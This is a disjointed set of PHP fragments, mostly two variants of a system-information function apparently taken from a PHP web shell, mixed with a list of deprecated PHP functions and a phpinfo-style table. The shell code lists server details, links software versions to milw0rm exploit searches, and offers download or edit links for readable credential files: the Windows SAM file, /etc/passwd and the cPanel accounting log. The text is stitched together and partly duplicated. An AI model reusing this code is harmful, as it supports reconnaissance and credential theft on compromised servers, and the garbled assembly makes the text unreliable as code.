function sysinfO() { global $windows, $disablefunctions, $cwd, $safemode; $t8 = "<td width='25%' bgcolor='#808080'>"; $t6 = "<td width='25%' bgcolor='#666666'>"; $mil = "<a target='_blank' href='http://www.milw0rm.org/related.php?program="; $basedir = ini_get('open_basedir') || strtoupper(ini_get('open_basedir')) == 'ON' ? 'ON' : 'OFF'; if (!empty($_SERVER['PROCESSOR_IDENTIFIER'])) { $CPU = $_SERVER['PROCESSOR_IDENTIFIER']; } $osver = $tsize = $fsize = ''; if ($windows) { $osver = ' (' . shelL('ver') . ')'; $sysroot = shelL("echo %systemroot%"); if (empty($sysroot)) { $sysroot = $_SERVER['SystemRoot']; } if (empty($sysroot)) { $sysroot = getenv('windir'); } if (empty($sysroot)) { $sysroot = 'Not Found'; } if (empty($CPU)) { $CPU = shelL("echo %PROCESSOR_IDENTIFIER%"); } for ($i = 66; $i <= 90; $i++) { $drive = chr($i) . ':\\'; if (is_dir($drive)) { $fsize += disk_free_space($drive); $tsize += disk_total_space($drive); } } } else { $fsize = disk_free_space('/'); $tsize = disk_total_space('/'); } $disksize = 'Used spase: ' . showsizE($tsize - $fsize) . ' Free space: ' . showsizE($fsize) . ' Total space: ' . showsizE($tsize); if (empty($CPU)) { $CPU = 'Unknow'; } $os = php_uname(); $osn = php_uname('s'); if (!$windows) { $ker = php_uname('r'); $o = $osn == 'Linux' ? 'Linux+Kernel' : $osn; $os = str_replace($osn, "{$mil}{$o}'>{$osn}</a>", $os); $os = str_replace($ker, "{$mil}Linux+Kernel'>{$ker}</a>", $os); $inpa = ':'; } else { $sam = $sysroot . "\\system32\\config\\SAM"; $inpa = ';'; $os = str_replace($osn, "{$mil}MS+Windows'>{$osn}</a>", $os); } $software = str_replace('Apache', "{$mil}Apache'>Apache</a>", $_SERVER['SERVER_SOFTWARE']); echo "<table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='100%'><tr><td>Server information:</td></tr><tr>{$t6}Server:</td><td bgcolor='#666666'>" . $_SERVER['HTTP_HOST']; if (!empty($_SERVER["SERVER_ADDR"])) { echo "(" . $_SERVER["SERVER_ADDR"] . ")"; } echo "</td></tr><tr>{$t8}Operation system:</td><td bgcolor='#808080'>{$os}{$osver}</td></tr><tr>{$t6}Web server application:</td><td bgcolor='#666666'>{$software}</td></tr><tr>{$t8}CPU:</td><td bgcolor='#808080'>{$CPU}</td></tr>{$t6}Disk status:</td><td bgcolor='#666666'>{$disksize}</td></tr><tr>{$t8}User domain:</td><td bgcolor='#808080'>"; if (!empty($_SERVER['USERDOMAIN'])) { echo $_SERVER['USERDOMAIN']; } else { echo "Unknow"; } echo "</td></tr><tr>{$t6}User name:</td><td bgcolor='#666666'>"; $cuser = get_current_user(); if (!empty($cuser)) { echo get_current_user(); } else { echo "Unknow"; } echo "</td></tr>"; if ($windows) { echo "<tr>{$t8}Windows directory:</td><td bgcolor='#808080'><a href='" . hlinK("seC=fm&workingdiR={$sysroot}") . "'>{$sysroot}</a></td></tr><tr>{$t6}Sam file:</td><td bgcolor='#666666'>"; if (is_readable($sam)) { echo "<a href='" . hlinK("?workingdiR={$sysroot}\\system32\\config&downloaD=sam") . "'>Readable</a>"; } else { echo 'Not readable'; } echo '</td></tr>'; } else { echo "<tr>{$t8}Passwd file:</td><td bgcolor='#808080'>"; if (is_readable('/etc/passwd')) { echo "<a href='" . hlinK("seC=edit&filE=/etc/passwd&workingdiR={$cwd}") . "'>Readable</a>"; } else { echo 'Not readable'; } echo "</td></tr><tr>{$t6}{$mil}cpanel'>cPanel</a>:</td><td bgcolor='#666666'>"; $cp = '/usr/local/cpanel/version'; $cv = file_exists($cp) && is_writable($cp) ? trim(file_get_contents($cp)) : 'Unknow'; echo "{$cv} (Log file: "; if (file_exists('/var/cpanel/accounting.log')) { if (is_readable('/var/cpanel/accounting.log')) { echo "<a href='" . hlinK("seC=edit&filE=/var/cpanel/accounting.log&workingdiR={$cwd}") . "'>Readable</a>"; } else { echo 'Not readable'; } } else { echo 'Not found'; } echo ')</td></tr>'; } echo "<tr>{$t8}{$mil}PHP'>PHP</a> version:</td><td bgcolor='#808080'><a href='?=" . php_logo_guid() . "' target='_blank'>" . PHP_VERSION . "</a> (<a href='" . hlinK("seC=phpinfo&workingdiR={$cwd}") . "'>more...</a>)</td></tr><tr>{$t6}Zend version:</td><td bgcolor='#666666'>"; if (function_exists('zend_version')) { echo "<a href='?=" . zend_logo_guid() . "' target='_blank'>" . zend_version() . '</a>'; } else { echo 'Not Found'; } echo "</td><tr>{$t8}Include path:</td><td bgcolor='#808080'>" . str_replace($inpa, ' ', DEFAULT_INCLUDE_PATH) . "</td><tr>{$t6}PHP Modules:</td><td bgcolor='#666666'>"; $ext = get_loaded_extensions(); foreach ($ext as $v) { echo $v . ' '; } echo "</td><tr>{$t8}Disabled functions:</td><td bgcolor='#808080'>"; if (!empty($disablefunctions)) { echo $disablefunctions; } else { echo 'Nothing'; } echo "</td></tr><tr>{$t6}Safe mode:</td><td bgcolor='#666666'>{$safemode}</td></tr><tr>{$t8}Open base dir:</td><td bgcolor='#808080'>{$basedir}</td></tr><tr>{$t6}DBMS:</td><td bgcolor='#666666'>"; $sq = ''; if (function_exists('mysql_connect')) { $sq = "{$mil}MySQL'>MySQL</a> "; } if (function_exists('mssql_connect')) { $sq .= " {$mil}MSSQL'>MSSQL</a> "; } if (function_exists('ora_logon')) { $sq .= " {$mil}Oracle'>Oracle</a> "; } if (function_exists('sqlite_open')) { $sq .= ' SQLite '; } if (function_exists('pg_connect')) { $sq .= " {$mil}PostgreSQL'>PostgreSQL</a> "; } if (function_exists('msql_connect')) { $sq .= ' mSQL '; } if (function_exists('mysqli_connect')) { $sq .= ' MySQLi '; } if (function_exists('ovrimos_connect')) { $sq .= ' Ovrimos SQL '; } if ($sq == '') { $sq = 'Nothing'; } echo "{$sq}</td></tr>"; if (function_exists('curl_init')) { echo "<tr>{$t8}cURL support:</td><td bgcolor='#808080'>Enabled "; } if (function_exists('curl_version')) { $ver = curl_version(); echo '(Version:' . $ver['version'] . ' OpenSSL version:' . $ver['ssl_version'] . ' zlib version:' . $ver['libz_version'] . ' host:' . $ver['host'] . ')'; } echo '</td></tr></table>'; }
function php_egg_logo_guid() { return zend_logo_guid(); }
eregi_replace(); import_request_variables(); mcrypt_generic_end(); mysql_db_query(); mysql_escape_string(); mysql_list_dbs(); mysqli_bind_param(); mysqli_bind_result(); mysqli_client_encoding(); mysqli_fetch(); mysqli_param_count(); mysqli_get_metadata(); mysqli_send_long_data(); magic_quotes_runtime(); session_register(); session_unregister(); session_is_registered(); set_magic_quotes_runtime(); set_socket_blocking(); split(); spliti(); sql_regcase(); php_logo_guid(); php_egg_logo_guid(); php_real_logo_guid(); zend_logo_guid(); datefmt_set_timezone_id(); mcrypt_ecb(); mcrypt_cbc(); mcrypt_cfb(); mcrypt_ofb();
echo "</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Cpanel log file:</td><td bgcolor=\"#666666\">"; if (file_exists("/var/cpanel/accounting.log")) { if (is_readable("/var/cpanel/accounting.log")) { echo "<a href=\"" . hlinK("seC=edit&filE=/var/cpanel/accounting.log&workingdiR={$cwd}") . "\"><font color=#66ffff>Readable</font></a>"; } else { echo "Not readable"; } } else { echo "Not found"; } echo "</td></tr>"; } $uip = !empty($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : getenv('REMOTE_ADDR'); echo "\r\n<tr><td width=\"25%\" >{$mil}PHP\"><font color=yellow>PHP</font></a> version:</td>\r\n<td ><a href=\"?=" . php_logo_guid() . "\" target=\"_blank\"><font color=yellow>" . PHP_VERSION . "</font></a> \r\n(<a href=\"" . $surl . "act=phpinfo\"><font color=yellow>more...</font></a>)</td></tr>\r\n<tr><td width=\"25%\" bgcolor=\"#666666\">Zend version:</td>\r\n<td bgcolor=\"#666666\">"; if (function_exists('zend_version')) { echo "<a href=\"?=" . zend_logo_guid() . "\" target=\"_blank\"><font color=#66ffff>" . zend_version() . "</font></a>"; } else { echo "Not Found"; } echo "</td>\r\n<tr><td width=\"25%\" >Include path:</td>\r\n<td >" . str_replace($inpa, " ", DEFAULT_INCLUDE_PATH) . "</td>\r\n<tr><td width=\"25%\" bgcolor=\"#666666\">PHP Modules:</td>\r\n<td bgcolor=\"#666666\">"; $ext = get_loaded_extensions(); foreach ($ext as $v) { echo $v . " "; } echo "</td><tr><td width=\"25%\" >Disabled functions:</td><td >"; if (!empty($disablefunctions)) { echo $disablefunctions; } else { echo "Nothing"; } echo "</td></tr>\r\n<tr><td width=\"25%\" bgcolor=\"#666666\">Safe mode:</td><td bgcolor=\"#666666\">{$sfmode}</font></td></tr>\r\n<tr><td width=\"25%\" >Open base dir:</td><td >{$basedir}</td></tr>\r\n<tr><td width=\"25%\" bgcolor=\"#666666\">DBMS:</td>\r\n<td bgcolor=\"#666666\">";
<table> <tr> <th>PHP version</th><td><?php echo phpversion(); ?> </td><td><?php echo '<img src="' . $_SERVER['PHP_SELF'] . '?=' . php_logo_guid() . '" alt="PHP Logo !" />'; ?> </td> </tr> <tr> <th>Zend engine version</th><td><?php echo zend_version(); ?> </td><td style="text-align:center"><?php echo '<img src="' . $_SERVER['PHP_SELF'] . '?=' . zend_logo_guid() . '" alt="Zend Logo !" />'; ?> </td> </tr> <tr><th>SAPI interface</th><td colspan="2"><?php echo php_sapi_name(); ?> </td></tr> </table> <h3>Loaded Extensions</h3> <table> <?php foreach (get_loaded_extensions() as $i => $ext) { echo " <tr>\n";
function sysinfO() { global $windows, $disablefunctions, $safemode; $cwd = getcwd(); $mil = "<a target=\"_blank\" href=\"http://www.milw0rm.org/related.php?program="; $basedir = (ini_get("open_basedir") or strtoupper(ini_get("open_basedir")) == "ON") ? "ON" : "OFF"; if (!empty($_SERVER["PROCESSOR_IDENTIFIER"])) { $CPU = $_SERVER["PROCESSOR_IDENTIFIER"]; } $osver = $tsize = $fsize = ''; if ($windows) { $osver = " (" . shelL("ver") . ")"; $sysroot = shelL("echo %systemroot%"); if (empty($sysroot)) { $sysroot = $_SERVER["SystemRoot"]; } if (empty($sysroot)) { $sysroot = getenv("windir"); } if (empty($sysroot)) { $sysroot = "Not Found"; } if (empty($CPU)) { $CPU = shelL("echo %PROCESSOR_IDENTIFIER%"); } for ($i = 66; $i <= 90; $i++) { $drive = chr($i) . ':\\'; if (is_dir($drive)) { $fsize += @disk_free_space($drive); $tsize += @disk_total_space($drive); } } } else { $fsize = disk_free_space('/'); $tsize = disk_total_space('/'); } $disksize = "Used spase: " . showsizE($tsize - $fsize) . " Free space: " . showsizE($fsize) . " Total space: " . showsizE($tsize); if (empty($CPU)) { $CPU = "Unknow"; } $os = php_unamE(); $osn = php_unamE('s'); if (!$windows) { $ker = php_unamE('r'); $o = $osn == "Linux" ? "Linux+Kernel" : $osn; $os = str_replace($osn, "{$mil}{$o}\">{$osn}</a>", $os); $os = str_replace($ker, "{$mil}Linux+Kernel\">{$ker}</a>", $os); $inpa = ':'; } else { $sam = $sysroot . "\\system32\\config\\SAM"; $inpa = ';'; $os = str_replace($osn, "{$mil}MS+Windows\">{$osn}</a>", $os); } $software = str_replace("Apache", "{$mil}Apache\">Apache</a>", $_SERVER['SERVER_SOFTWARE']); echo "<table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"100%\"><tr><td>Server information:</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Server:</td><td bgcolor=\"#666666\">" . $_SERVER["HTTP_HOST"]; if (!empty($_SERVER["SERVER_ADDR"])) { echo "(" . $_SERVER["SERVER_ADDR"] . ")"; } echo "</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">Operation system:</td><td bgcolor=\"#808080\">{$os}{$osver}</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Web server application:</td><td bgcolor=\"#666666\">{$software}</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">CPU:</td><td bgcolor=\"#808080\">{$CPU}</td></tr><td width=\"25%\" bgcolor=\"#666666\">Disk status:</td><td bgcolor=\"#666666\">{$disksize}</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">User domain:</td><td bgcolor=\"#808080\">"; if (!empty($_SERVER['USERDOMAIN'])) { echo $_SERVER['USERDOMAIN']; } else { echo "Unknow"; } echo "</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">User name:</td><td bgcolor=\"#666666\">"; $cuser = get_current_user(); if (!empty($cuser)) { echo get_current_user(); } else { echo "Unknow"; } echo "</td></tr>"; if ($windows) { echo "<tr><td width=\"25%\" bgcolor=\"#808080\">Windows directory:</td><td bgcolor=\"#808080\"><a href=\"" . hlinK("seC=fm&workingdiR={$sysroot}") . "\">{$sysroot}</a></td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Sam file:</td><td bgcolor=\"#666666\">"; if (is_readable($sam)) { echo "<a href=\"" . hlinK("?workingdiR={$sysroot}\\system32\\config&downloaD=sam") . "\">Readable</a>"; } else { echo "Not readable"; } echo "</td></tr>"; } else { echo "<tr><td width=\"25%\" bgcolor=\"#808080\">Passwd file:</td><td bgcolor=\"#808080\">"; if (is_readable('/etc/passwd')) { echo "<a href=\"" . hlinK("seC=edit&filE=/etc/passwd&workingdiR={$cwd}") . "\">Readable</a>"; } else { echo 'Not readable'; } echo "</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Cpanel log file:</td><td bgcolor=\"#666666\">"; if (file_exists("/var/cpanel/accounting.log")) { if (is_readable("/var/cpanel/accounting.log")) { echo "<a href=\"" . hlinK("seC=edit&filE=/var/cpanel/accounting.log&workingdiR={$cwd}") . "\">Readable</a>"; } else { echo "Not readable"; } } else { echo "Not found"; } echo "</td></tr>"; } $uip = !empty($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : getenv('REMOTE_ADDR'); echo "<tr><td width=\"25%\" bgcolor=\"#808080\">{$mil}PHP\">PHP</a> version:</td><td bgcolor=\"#808080\"><a href=\"?=" . php_logo_guid() . "\" target=\"_blank\">" . PHP_VERSION . "</a> (<a href=\"" . hlinK("seC=phpinfo&workingdiR={$cwd}") . "\">more...</a>)</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Zend version:</td><td bgcolor=\"#666666\">"; if (function_exists('zend_version')) { echo "<a href=\"?=" . zend_logo_guid() . "\" target=\"_blank\">" . zend_version() . "</a>"; } else { echo "Not Found"; } echo "</td><tr><td width=\"25%\" bgcolor=\"#808080\">Include path:</td><td bgcolor=\"#808080\">" . str_replace($inpa, " ", DEFAULT_INCLUDE_PATH) . "</td><tr><td width=\"25%\" bgcolor=\"#666666\">PHP Modules:</td><td bgcolor=\"#666666\">"; $ext = get_loaded_extensions(); foreach ($ext as $v) { echo $v . " "; } echo "</td><tr><td width=\"25%\" bgcolor=\"#808080\">Disabled functions:</td><td bgcolor=\"#808080\">"; if (!empty($disablefunctions)) { echo $disablefunctions; } else { echo "Nothing"; } echo "</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Safe mode:</td><td bgcolor=\"#666666\">{$safemode}</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">Open base dir:</td><td bgcolor=\"#808080\">{$basedir}</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">DBMS:</td><td bgcolor=\"#666666\">"; $sq = ""; if (function_exists('mysql_connect')) { $sq = "{$mil}MySQL\">MySQL</a> "; } if (function_exists('mssql_connect')) { $sq .= " {$mil}MSSQL\">MSSQL</a> "; } if (function_exists('ora_logon')) { $sq .= " {$mil}Oracle\">Oracle</a> "; } if (function_exists('sqlite_open')) { $sq .= " SQLite "; } if (function_exists('pg_connect')) { $sq .= " {$mil}PostgreSQL\">PostgreSQL</a> "; } if (function_exists('msql_connect')) { $sq .= " mSQL "; } if (function_exists('mysqli_connect')) { $sq .= " MySQLi "; } if (function_exists('ovrimos_connect')) { $sq .= " Ovrimos SQL "; } if ($sq == "") { $sq = "Nothing"; } echo "{$sq}</td></tr>"; if (function_exists('curl_init')) { echo "<tr><td width=\"25%\" bgcolor=\"#808080\">cURL support:</td><td bgcolor=\"#808080\">Enabled "; } if (function_exists('curl_version')) { $ver = curl_version(); echo "(Version:" . $ver['version'] . " OpenSSL version:" . $ver['ssl_version'] . " zlib version:" . $ver['libz_version'] . " host:" . $ver['host'] . ")"; } echo "</td></tr>"; echo "<tr><td>User information:</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">IP:</td><td bgcolor=\"#666666\">{$uip}</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">Agent:</td><td bgcolor=\"#808080\">" . getenv('HTTP_USER_AGENT') . "</td></tr></table>"; }